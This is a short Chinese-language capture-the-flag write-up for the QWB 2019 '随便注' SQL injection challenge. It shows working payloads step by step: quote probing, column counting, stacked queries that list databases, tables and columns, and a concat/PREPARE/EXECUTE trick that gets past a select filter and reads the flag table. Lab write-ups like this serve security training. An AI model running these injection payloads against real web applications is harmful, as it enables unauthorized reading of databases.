BMZCTF 强网杯 2019 随便注

考点:sql注入、二次注入

打开网页,是一个输入框:

输入1,并提交:

看到返回数组,测试是否存在注入点:输入1‘

返回报错。

输入1‘ #

BMZCTF 强网杯 2019 随便注_第1张图片

返回正常

尝试手工注入:

1、输入1‘ order by *,测试能返回几列,多次尝试,*处为2,即:1’ order by 2能返回正常。

BMZCTF 强网杯 2019 随便注_第2张图片

再试着输入select测试返回点:1’ union select 1,2 #

BMZCTF 强网杯 2019 随便注_第3张图片

看到好多字符被过滤。尝试sqlmap 只能爆出库名为supersqli

尝试堆叠注入

输入:1’; show databases; #

BMZCTF 强网杯 2019 随便注_第4张图片

看到了返回的库名

再看看表名有哪些:1’;show tables; #

BMZCTF 强网杯 2019 随便注_第5张图片

看到有两张表:分别为flagg和words

分别看看都有哪些列:1’;show columns from flagg #

BMZCTF 强网杯 2019 随便注_第6张图片

看到了我们想要flag列。下面就是想如何读取里面的内容了。

Select 被过滤,无法正常查询。只能拼接查询语句:

-1';use supersqli;set @sql=concat('s','elect `flag` from `flagg`');PREPARE BMZ FROM @sql;EXECUTE BMZ;#

BMZCTF 强网杯 2019 随便注_第7张图片

得到flag。

你可能感兴趣的:(BMZCTF刷题记录,安全)